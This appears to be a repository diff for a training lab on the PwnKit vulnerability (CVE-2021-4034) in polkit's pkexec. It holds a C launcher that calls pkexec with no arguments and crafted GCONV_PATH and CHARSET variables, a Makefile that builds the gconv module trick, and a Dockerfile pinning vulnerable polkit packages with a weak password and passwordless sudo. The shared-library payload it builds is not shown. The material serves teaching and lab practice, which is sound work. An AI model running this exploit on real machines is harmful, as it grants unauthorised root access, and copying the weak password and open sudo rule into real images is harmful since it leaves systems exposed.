CVE 2021 4034

Polkit/CVE-2021-4034/CVE-2021-4034_exploit.c

@@ -0,0 +1,26 @@
+#include <unistd.h>
+
+int main()
+{
+    // pkexec의 인자로 프로그램을 전달하지 않음
+    // // CVE-2021-4034: 이 상황에서 환경변수 검증이 부족함
+    char * const args[] = {
+        NULL
+    };
+
+    // 악의적 환경변수 설정
+    // GCONV_PATH=. : pwnkit.so가 있는 디렉토리 지정
+    // CHARSET=PWNKIT : 존재하지 않는 인코딩으로 pwnkit.so 로드 유도
+    char * const env[] = {
+        "GCONV_PATH=.",
+        "CHARSET=PWNKIT",
+        "SHELL=/bin/sh",
+        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
+        "GIO_USE_VFS=",
+        NULL
+    };
+
+    // pkexec 실행 (취약점 공격)
+    execve("/usr/bin/pkexec", args, env);
+    return 0;
+}

Polkit/CVE-2021-4034/Dockerfile.txt

@@ -0,0 +1,31 @@
+FROM ubuntu:20.04
+ENV DEBIAN_FRONTEND=noninteractive
+
+RUN apt-get update && \
+    apt-get install -y \
+        build-essential \
+        gcc \
+        make \
+        git \
+        sudo \
+        dbus \
+        policykit-1=0.105-26ubuntu1 \
+        libpolkit-agent-1-0=0.105-26ubuntu1 \
+        libpolkit-gobject-1-0=0.105-26ubuntu1 && \
+    rm -rf /var/lib/apt/lists/*
+
+RUN useradd -m -s /bin/bash WHS4_student
+RUN echo "WHS4_student:1234" | chpasswd
+
+RUN usermod -aG sudo WHS4_student
+
+# NOPASSWD 설정
+RUN sed -i '/^%sudo/d' /etc/sudoers && \
+    echo "WHS4_student ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers && \
+    chmod 440 /etc/sudoers
+
+COPY start.sh /start.sh
+RUN chmod +x /start.sh
+
+WORKDIR /home/WHS4_student
+CMD ["/start.sh"]

Polkit/CVE-2021-4034/LICENSE.txt

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 krleejihyeong
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

Polkit/CVE-2021-4034/Makefile.txt

@@ -0,0 +1,19 @@
+CC=gcc
+CFLAGS=-Wall
+TRUE=/usr/bin/true
+.PHONY: all
+all: pwnkit.so CVE-2021-4034_exploit gconv-modules gconvpath
+.PHONY: clean
+clean:
+	rm -f pwnkit.so CVE-2021-4034_exploit gconv-modules
+	rm -rf "GCONV_PATH=."
+gconv-modules:
+	echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
+.PHONY: gconvpath
+gconvpath:
+	mkdir -p "GCONV_PATH=."
+	cp -f $(TRUE) "GCONV_PATH=./pwnkit.so:."
+pwnkit.so: pwnkit.c
+	$(CC) $(CFLAGS) --shared -fPIC -o pwnkit.so pwnkit.c
+CVE-2021-4034_exploit: CVE-2021-4034_exploit.c
+	$(CC) $(CFLAGS) -o CVE-2021-4034_exploit CVE-2021-4034_exploit.c